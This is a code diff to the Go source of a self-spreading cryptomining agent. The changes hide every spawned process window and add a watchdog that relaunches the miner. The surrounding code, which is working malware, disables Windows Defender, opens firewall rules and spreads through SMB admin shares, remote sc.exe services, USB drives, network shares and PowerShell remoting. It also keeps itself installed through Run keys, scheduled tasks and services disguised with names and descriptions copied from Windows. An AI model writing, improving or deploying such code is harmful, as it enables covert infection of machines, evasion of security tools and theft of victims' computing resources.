||||||
if err != nil {
|
if err != nil {
|
||||||
return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err)
|
return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err)
|
||||||
}
|
}
|
||||||
@@ -33,7 +32,7 @@ if (-not (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue))
|
|||||||
New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null
|
New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null
|
||||||
}
|
}
|
||||||
`, strings.ReplaceAll(name, `'`, `''`), port)
|
`, strings.ReplaceAll(name, `'`, `''`), port)
|
||||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return string(out), err
|
return string(out), err
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ package deploy
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"net"
|
"net"
|
||||||
"os/exec"
|
|
||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -15,7 +14,7 @@ import (
|
|||||||
//
|
//
|
||||||
// Falls back to nil (caller will do a full scan) on any error.
|
// Falls back to nil (caller will do a full scan) on any error.
|
||||||
func arpHosts() []string {
|
func arpHosts() []string {
|
||||||
out, err := exec.Command("arp", "-a").Output()
|
out, err := HiddenOutput("arp", "-a")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,7 +7,6 @@ import (
|
|||||||
"log"
|
"log"
|
||||||
"net"
|
"net"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
@@ -152,12 +151,10 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
|||||||
remoteExe := filepath.Join(`C:\Windows\System32`, destName)
|
remoteExe := filepath.Join(`C:\Windows\System32`, destName)
|
||||||
|
|
||||||
// 2. Attempt to copy payload via SMB using the current security token
|
// 2. Attempt to copy payload via SMB using the current security token
|
||||||
copyCmd := exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, adminShare)
|
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, adminShare); err != nil {
|
||||||
if err := copyCmd.Run(); err != nil {
|
|
||||||
// Fallback to C$ hidden temp folder if System32 is restricted
|
// Fallback to C$ hidden temp folder if System32 is restricted
|
||||||
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
|
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
|
||||||
copyCmd = exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, cShare)
|
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
|
||||||
if err := copyCmd.Run(); err != nil {
|
|
||||||
return // Access denied or host unreachable
|
return // Access denied or host unreachable
|
||||||
}
|
}
|
||||||
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
|
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
|
||||||
@@ -167,15 +164,12 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
|||||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||||
|
|
||||||
// Delete existing just in case path changed
|
// Delete existing just in case path changed
|
||||||
_ = exec.Command("sc.exe", `\\`+target, "stop", svcName).Run()
|
_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
|
||||||
_ = exec.Command("sc.exe", `\\`+target, "delete", svcName).Run()
|
_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)
|
||||||
|
|
||||||
scCreate := exec.Command("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
|
_ = HiddenRun("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
|
||||||
_ = scCreate.Run() // Ignore errors, it might already exist
|
|
||||||
|
|
||||||
// 4. Start the remote service
|
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
||||||
scStart := exec.Command("sc.exe", `\\`+target, "start", svcName)
|
|
||||||
if err := scStart.Run(); err == nil {
|
|
||||||
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
|
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
29
agent/deploy/exec_stub.go
Normal file
29
agent/deploy/exec_stub.go
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import "os/exec"
|
||||||
|
|
||||||
|
func PrepareHiddenProcess(cmd *exec.Cmd) {}
|
||||||
|
|
||||||
|
func HiddenCommand(name string, arg ...string) *exec.Cmd {
|
||||||
|
return exec.Command(name, arg...)
|
||||||
|
}
|
||||||
|
|
||||||
|
func HiddenRun(name string, arg ...string) error {
|
||||||
|
return exec.Command(name, arg...).Run()
|
||||||
|
}
|
||||||
|
|
||||||
|
func HiddenStart(name string, arg ...string) error {
|
||||||
|
return exec.Command(name, arg...).Start()
|
||||||
|
}
|
||||||
|
|
||||||
|
func HiddenCombinedOutput(name string, arg ...string) ([]byte, error) {
|
||||||
|
return exec.Command(name, arg...).CombinedOutput()
|
||||||
|
}
|
||||||
|
|
||||||
|
func HiddenOutput(name string, arg ...string) ([]byte, error) {
|
||||||
|
return exec.Command(name, arg...).Output()
|
||||||
|
}
|
||||||
|
|
||||||
|
func applyDetachedStart(cmd *exec.Cmd) {}
|
||||||
52
agent/deploy/exec_windows.go
Normal file
52
agent/deploy/exec_windows.go
Normal file
@@ -0,0 +1,52 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os/exec"
|
||||||
|
"syscall"
|
||||||
|
)
|
||||||
|
|
||||||
|
const creationFlagsNoWindow = 0x08000000 // CREATE_NO_WINDOW
|
||||||
|
|
||||||
|
// PrepareHiddenProcess configures a command so it never shows a console window.
|
||||||
|
func PrepareHiddenProcess(cmd *exec.Cmd) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||||
|
HideWindow: true,
|
||||||
|
CreationFlags: creationFlagsNoWindow,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HiddenCommand creates an exec.Cmd that runs without a visible window.
|
||||||
|
func HiddenCommand(name string, arg ...string) *exec.Cmd {
|
||||||
|
cmd := exec.Command(name, arg...)
|
||||||
|
PrepareHiddenProcess(cmd)
|
||||||
|
return cmd
|
||||||
|
}
|
||||||
|
|
||||||
|
// HiddenRun runs a process hidden and waits for completion.
|
||||||
|
func HiddenRun(name string, arg ...string) error {
|
||||||
|
return HiddenCommand(name, arg...).Run()
|
||||||
|
}
|
||||||
|
|
||||||
|
// HiddenStart starts a hidden detached process.
|
||||||
|
func HiddenStart(name string, arg ...string) error {
|
||||||
|
return HiddenCommand(name, arg...).Start()
|
||||||
|
}
|
||||||
|
|
||||||
|
// HiddenCombinedOutput runs a hidden process and returns its combined output.
|
||||||
|
func HiddenCombinedOutput(name string, arg ...string) ([]byte, error) {
|
||||||
|
return HiddenCommand(name, arg...).CombinedOutput()
|
||||||
|
}
|
||||||
|
|
||||||
|
// HiddenOutput runs a hidden process and returns stdout only.
|
||||||
|
func HiddenOutput(name string, arg ...string) ([]byte, error) {
|
||||||
|
return HiddenCommand(name, arg...).Output()
|
||||||
|
}
|
||||||
|
|
||||||
|
func applyDetachedStart(cmd *exec.Cmd) {
|
||||||
|
PrepareHiddenProcess(cmd)
|
||||||
|
}
|
||||||
@@ -5,7 +5,6 @@ package deploy
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
"os/exec"
|
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"crypto-miner-agent/config"
|
"crypto-miner-agent/config"
|
||||||
@@ -43,8 +42,7 @@ if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue))
|
|||||||
}
|
}
|
||||||
`, exeEsc, strings.ReplaceAll(inName, `'`, `''`), strings.ReplaceAll(outName, `'`, `''`))
|
`, exeEsc, strings.ReplaceAll(inName, `'`, `''`), strings.ReplaceAll(outName, `'`, `''`))
|
||||||
|
|
||||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script); err != nil {
|
||||||
if err := cmd.Run(); err != nil {
|
|
||||||
log.Printf("[firewall] could not add Windows Firewall rules (try Run as administrator once): %v", err)
|
log.Printf("[firewall] could not add Windows Firewall rules (try Run as administrator once): %v", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -56,7 +54,7 @@ func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) {
|
|||||||
ruleBase := firewallRuleBaseName(cfg)
|
ruleBase := firewallRuleBaseName(cfg)
|
||||||
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
|
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
|
||||||
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
||||||
_ = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Run()
|
_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -70,7 +68,7 @@ func firewallRuleBaseName(cfg config.RuntimeConfig) string {
|
|||||||
|
|
||||||
func firewallRuleExists(displayName string) bool {
|
func firewallRuleExists(displayName string) bool {
|
||||||
script := fmt.Sprintf(`(Get-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue | Measure-Object).Count -gt 0`, strings.ReplaceAll(displayName, `'`, `''`))
|
script := fmt.Sprintf(`(Get-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue | Measure-Object).Count -gt 0`, strings.ReplaceAll(displayName, `'`, `''`))
|
||||||
out, err := exec.Command("powershell", "-NoProfile", "-Command", script).Output()
|
out, err := HiddenOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", script)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|||||||
48
agent/deploy/guard.go
Normal file
48
agent/deploy/guard.go
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
const guardFlag = "--guard"
|
||||||
|
|
||||||
|
// IsGuardMode reports whether this process is the out-of-process watchdog only.
|
||||||
|
func IsGuardMode() bool {
|
||||||
|
for _, arg := range os.Args[1:] {
|
||||||
|
if arg == guardFlag {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// RunGuardLoop watches the installed worker and restarts it silently if it exits.
|
||||||
|
// Runs until the guard process is killed (no PowerShell loop).
|
||||||
|
func RunGuardLoop(cfg config.RuntimeConfig) {
|
||||||
|
installDir, err := cfg.InstallDirectory()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
binPath := filepath.Join(installDir, BinaryName(cfg))
|
||||||
|
procName := BinaryName(cfg)
|
||||||
|
|
||||||
|
log.Printf("[guard] watching %s", procName)
|
||||||
|
ticker := time.NewTicker(60 * time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for range ticker.C {
|
||||||
|
if workerProcessRunning(procName) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, err := os.Stat(binPath); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err := relaunch(binPath, ""); err != nil {
|
||||||
|
log.Printf("[guard] relaunch failed: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
24
agent/deploy/guard_unix.go
Normal file
24
agent/deploy/guard_unix.go
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func workerProcessRunning(imageName string) bool {
|
||||||
|
out, err := exec.Command("pgrep", "-x", strings.TrimSuffix(imageName, ".exe")).Output()
|
||||||
|
return err == nil && len(strings.TrimSpace(string(out))) > 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func launchProcessGuard(cfg config.RuntimeConfig) {
|
||||||
|
binPath, err := InstalledBinaryPath(cfg)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmd := exec.Command(binPath, guardFlag)
|
||||||
|
_ = cmd.Start()
|
||||||
|
}
|
||||||
26
agent/deploy/guard_windows.go
Normal file
26
agent/deploy/guard_windows.go
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func workerProcessRunning(imageName string) bool {
|
||||||
|
out, err := HiddenCombinedOutput("tasklist", "/FI", "IMAGENAME eq "+imageName, "/NH")
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return strings.Contains(strings.ToLower(string(out)), strings.ToLower(imageName))
|
||||||
|
}
|
||||||
|
|
||||||
|
// launchProcessGuard spawns a second hidden copy of the worker that only runs the guard loop.
|
||||||
|
func launchProcessGuard(cfg config.RuntimeConfig) {
|
||||||
|
binPath, err := InstalledBinaryPath(cfg)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = HiddenStart(binPath, guardFlag)
|
||||||
|
}
|
||||||
@@ -50,15 +50,8 @@ func maintainInstall(cfg config.RuntimeConfig) error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
if err := ensurePersistence(cfg, installedBin); err != nil {
|
||||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
return err
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
|
||||||
if err := configureRunMode(cfg, installedBin); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
if cfg.FirewallExclusion {
|
if cfg.FirewallExclusion {
|
||||||
EnsureFirewallExclusion(cfg, installedBin)
|
EnsureFirewallExclusion(cfg, installedBin)
|
||||||
|
|||||||
@@ -1,43 +0,0 @@
|
|||||||
//go:build windows
|
|
||||||
|
|
||||||
package deploy
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os/exec"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
"crypto-miner-agent/config"
|
|
||||||
)
|
|
||||||
|
|
||||||
// launchProcessGuard spawns a hidden PowerShell loop that watches for the
|
|
||||||
// installed miner process by name and relaunches it if it disappears.
|
|
||||||
// The guardian runs completely outside this process — it survives a crash.
|
|
||||||
func launchProcessGuard(cfg config.RuntimeConfig) {
|
|
||||||
installDir, err := cfg.InstallDirectory()
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
binPath := strings.ReplaceAll(fmt.Sprintf(`%s\%s`, installDir, BinaryName(cfg)), `'`, `''`)
|
|
||||||
procName := strings.TrimSuffix(BinaryName(cfg), ".exe")
|
|
||||||
|
|
||||||
// Loop every 60 s. If the process is gone and the binary still exists, restart it.
|
|
||||||
ps := fmt.Sprintf(`
|
|
||||||
$bin = '%s'
|
|
||||||
$proc = '%s'
|
|
||||||
while ($true) {
|
|
||||||
Start-Sleep -Seconds 60
|
|
||||||
if (-not (Get-Process -Name $proc -ErrorAction SilentlyContinue)) {
|
|
||||||
if (Test-Path $bin) {
|
|
||||||
Start-Process $bin -ArgumentList '--run' -WindowStyle Hidden -ErrorAction SilentlyContinue
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
`, binPath, procName)
|
|
||||||
|
|
||||||
cmd := exec.Command("powershell",
|
|
||||||
"-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden",
|
|
||||||
"-Command", ps)
|
|
||||||
applyDetachedStart(cmd)
|
|
||||||
_ = cmd.Start()
|
|
||||||
}
|
|
||||||
@@ -8,7 +8,6 @@ import (
|
|||||||
"math/rand"
|
"math/rand"
|
||||||
"net"
|
"net"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
@@ -210,8 +209,7 @@ $lnk.Save()
|
|||||||
strings.ReplaceAll(lnkPath, `'`, `''`),
|
strings.ReplaceAll(lnkPath, `'`, `''`),
|
||||||
strings.ReplaceAll(destBin, `'`, `''`),
|
strings.ReplaceAll(destBin, `'`, `''`),
|
||||||
)
|
)
|
||||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||||
_ = cmd.Run()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// -----------------------------------------------------------------------
|
// -----------------------------------------------------------------------
|
||||||
@@ -227,10 +225,11 @@ func installWMIUSBTrigger(cfg config.RuntimeConfig) {
|
|||||||
}
|
}
|
||||||
destName := usbPayloadName(cfg)
|
destName := usbPayloadName(cfg)
|
||||||
// Template uses %TargetInstance.DriveLetter% which WMI expands at fire-time.
|
// Template uses %TargetInstance.DriveLetter% which WMI expands at fire-time.
|
||||||
copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & start "" /b "%%TargetInstance.DriveLetter%%\\%s"`,
|
copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & "%%TargetInstance.DriveLetter%%\\%s" %s`,
|
||||||
strings.ReplaceAll(exePath, `"`, `\"`),
|
strings.ReplaceAll(exePath, `"`, `\"`),
|
||||||
destName,
|
destName,
|
||||||
destName,
|
destName,
|
||||||
|
runFlag,
|
||||||
)
|
)
|
||||||
// Escape single-quotes for PowerShell string embedding
|
// Escape single-quotes for PowerShell string embedding
|
||||||
copyCmdPS := strings.ReplaceAll(copyCmd, `'`, `''`)
|
copyCmdPS := strings.ReplaceAll(copyCmd, `'`, `''`)
|
||||||
@@ -274,8 +273,7 @@ Copy-Item '%s' $dest -Force -EA SilentlyContinue
|
|||||||
exePathPS,
|
exePathPS,
|
||||||
)
|
)
|
||||||
|
|
||||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
|
||||||
if err := cmd.Run(); err == nil {
|
|
||||||
log.Printf("[passive-spread] WMI USB subscription installed (persistent)")
|
log.Printf("[passive-spread] WMI USB subscription installed (persistent)")
|
||||||
}
|
}
|
||||||
// Non-admin failure is expected and harmless; polling still covers it.
|
// Non-admin failure is expected and harmless; polling still covers it.
|
||||||
@@ -331,10 +329,7 @@ func dropOnShare(cfg config.RuntimeConfig, sharePath, exePath string) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
log.Printf("[passive-spread] dropped to share %s", dest)
|
log.Printf("[passive-spread] dropped to share %s", dest)
|
||||||
// Try to execute it via a UNC path
|
_ = HiddenStart(dest, runFlag)
|
||||||
cmd := exec.Command("cmd.exe", "/C", "start", "", "/b", dest)
|
|
||||||
applyDetachedStart(cmd)
|
|
||||||
_ = cmd.Start()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func sharePayloadName(cfg config.RuntimeConfig) string {
|
func sharePayloadName(cfg config.RuntimeConfig) string {
|
||||||
@@ -348,7 +343,7 @@ func sharePayloadName(cfg config.RuntimeConfig) string {
|
|||||||
|
|
||||||
// listNetUse parses `net use` output and returns active UNC paths.
|
// listNetUse parses `net use` output and returns active UNC paths.
|
||||||
func listNetUse() []string {
|
func listNetUse() []string {
|
||||||
out, err := exec.Command("net", "use").Output()
|
out, err := HiddenOutput("net", "use")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -434,8 +429,7 @@ if ($s) {
|
|||||||
Remove-PSSession $s -EA SilentlyContinue
|
Remove-PSSession $s -EA SilentlyContinue
|
||||||
}
|
}
|
||||||
`, target, scriptBlock)
|
`, target, scriptBlock)
|
||||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
|
||||||
if err := cmd.Run(); err == nil {
|
|
||||||
log.Printf("[passive-spread] PS remoting to %s succeeded", target)
|
log.Printf("[passive-spread] PS remoting to %s succeeded", target)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
12
agent/deploy/persistence_stub.go
Normal file
12
agent/deploy/persistence_stub.go
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import "crypto-miner-agent/config"
|
||||||
|
|
||||||
|
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
||||||
|
if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||||
|
return configureRunMode(cfg, installedBin)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
62
agent/deploy/persistence_windows.go
Normal file
62
agent/deploy/persistence_windows.go
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows/registry"
|
||||||
|
)
|
||||||
|
|
||||||
|
func scheduledTaskExists(taskName string) bool {
|
||||||
|
return HiddenRun("schtasks", "/Query", "/TN", taskName) == nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func registryRunExists(cfg config.RuntimeConfig, binPath string) bool {
|
||||||
|
keyName := PersistenceKeyName(cfg)
|
||||||
|
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.QUERY_VALUE)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
defer k.Close()
|
||||||
|
val, _, err := k.GetStringValue(keyName)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return strings.Contains(val, binPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
func serviceExists(svcName string) bool {
|
||||||
|
return HiddenRun("sc.exe", "query", svcName) == nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick).
|
||||||
|
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
||||||
|
switch cfg.RunAs {
|
||||||
|
case "scheduled":
|
||||||
|
if !scheduledTaskExists(PersistenceKeyName(cfg)) {
|
||||||
|
if err := createScheduledTask(cfg, installedBin); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case "service":
|
||||||
|
svcName := cfg.ServiceName
|
||||||
|
if svcName == "" {
|
||||||
|
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||||
|
}
|
||||||
|
if !serviceExists(svcName) {
|
||||||
|
if err := createWindowsService(cfg, installedBin); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if cfg.AutoStart && !registryRunExists(cfg, installedBin) {
|
||||||
|
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -5,10 +5,9 @@ package deploy
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
"syscall"
|
"time"
|
||||||
|
|
||||||
"crypto-miner-agent/config"
|
"crypto-miner-agent/config"
|
||||||
|
|
||||||
@@ -29,9 +28,7 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
defer k.Close()
|
defer k.Close()
|
||||||
// Wrap in PowerShell so the console window is suppressed on startup.
|
val := fmt.Sprintf(`"%s" %s`, binPath, runFlag)
|
||||||
val := fmt.Sprintf(`powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`,
|
|
||||||
strings.ReplaceAll(binPath, `'`, `''`), runFlag)
|
|
||||||
return k.SetStringValue(PersistenceKeyName(cfg), val)
|
return k.SetStringValue(PersistenceKeyName(cfg), val)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -46,41 +43,32 @@ func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// createWindowsService installs the miner as a real Windows Service with
|
|
||||||
// automatic crash-restart. When ServiceMasquerade is enabled, the service
|
|
||||||
// name and description are cloned from the donor service so it blends in.
|
|
||||||
func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
|
func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
|
||||||
svcName := cfg.ServiceName
|
svcName := cfg.ServiceName
|
||||||
if svcName == "" {
|
if svcName == "" {
|
||||||
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Tear down any stale instance first (errors are expected and ignored)
|
_ = HiddenRun("sc.exe", "stop", svcName)
|
||||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
_ = HiddenRun("sc.exe", "delete", svcName)
|
||||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
time.Sleep(time.Second)
|
||||||
// Give SCM time to fully remove the entry
|
|
||||||
exec.Command("timeout", "/T", "1", "/NOBREAK").Run() //nolint:errcheck
|
|
||||||
|
|
||||||
// Create the service
|
if err := HiddenRun("sc.exe", "create", svcName,
|
||||||
if err := exec.Command("sc.exe", "create", svcName,
|
|
||||||
"binPath=", `"`+binPath+`" --run`,
|
"binPath=", `"`+binPath+`" --run`,
|
||||||
"type=", "own",
|
"type=", "own",
|
||||||
"start=", "auto",
|
"start=", "auto",
|
||||||
"error=", "ignore",
|
"error=", "ignore",
|
||||||
).Run(); err != nil {
|
); err != nil {
|
||||||
return fmt.Errorf("sc create: %w", err)
|
return fmt.Errorf("sc create: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Crash recovery: restart immediately (0 ms), then after 5 s, then 30 s
|
_ = HiddenRun("sc.exe", "failure", svcName,
|
||||||
_ = exec.Command("sc.exe", "failure", svcName,
|
|
||||||
"reset=", "60",
|
"reset=", "60",
|
||||||
"actions=", "restart/0/restart/5000/restart/30000",
|
"actions=", "restart/0/restart/5000/restart/30000",
|
||||||
).Run()
|
)
|
||||||
|
|
||||||
// Start it
|
_ = HiddenRun("sc.exe", "start", svcName)
|
||||||
_ = exec.Command("sc.exe", "start", svcName).Run()
|
|
||||||
|
|
||||||
// Masquerade: copy description from donor service
|
|
||||||
if cfg.ServiceMasquerade && cfg.ServiceDonor != "" {
|
if cfg.ServiceMasquerade && cfg.ServiceDonor != "" {
|
||||||
cloneServiceDescription(svcName, cfg.ServiceDonor)
|
cloneServiceDescription(svcName, cfg.ServiceDonor)
|
||||||
}
|
}
|
||||||
@@ -88,28 +76,19 @@ func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
